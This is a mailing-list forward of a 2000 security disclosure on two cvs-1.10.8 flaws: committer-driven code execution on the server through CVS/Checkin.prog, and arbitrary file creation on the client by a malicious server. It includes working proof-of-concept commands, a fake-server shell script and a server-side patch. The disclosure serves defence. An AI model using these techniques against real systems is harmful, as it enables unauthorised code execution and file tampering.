This looks like a serious security problem.  It appears to open
anonymous CVS servers to a wide range of attack.

Ian

------- Start of forwarded message -------
To: [EMAIL PROTECTED]
Date:         Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <[EMAIL PROTECTED]>
Subject:      cvs security problem

I found two security problems in cvs-1.10.8.

(1) A committer can execute any binary in server using
    CVS/Checkin.prog or CVS/Update.prog.

A committer can execute arbitrary binary on a cvs server using
Checkin.prog.  Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing.  Note that when
it is executed, committed files are exsists in a current directory.

Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created.  If an evil committer do it, cvs server executes such forged
Checkin.prog.  Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'.  So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.

Note that similar problem exists with CVS/Update.prog.

Following example is that a committer sends `ls' binary and executes
in the server.  (it assumes that the server and the client is same
architecture.)

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v  <--  binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v

This problem can be fixed by disabling two requests.

- --- server.c-   Fri Apr 28 15:37:13 2000
+++ server.c    Fri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
   REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
   REQ_LINE("Static-directory", serve_static_directory, 0),
   REQ_LINE("Sticky", serve_sticky, 0),
- -  REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- -  REQ_LINE("Update-prog", serve_update_prog, 0),
   REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
   REQ_LINE("Kopt", serve_kopt, 0),
   REQ_LINE("Checkin-time", serve_checkin_time, 0),

(2) cvs server can instruct to create any file at any locaiton in
    client machine.

With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.

For example, if a client tries to checkout a module `tst' as:

% cvs -f -d :ext:user@server:/cvsroot co tst

and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc

This problem can be test yourself as follows.  Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot 
Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified 
Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx 
Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt 
expand-modules ci co update diff log add remove update-patches gzip-file-contents 
status rdiff tag rtag import admin export history release watch-on watch-off watch-add 
watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
- -rw-r--r--  1 akr  wheel  4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc

Currently, I don't have a patch to fix this problem.
- --
Tanaka Akira
------- End of forwarded message -------

Reply via email to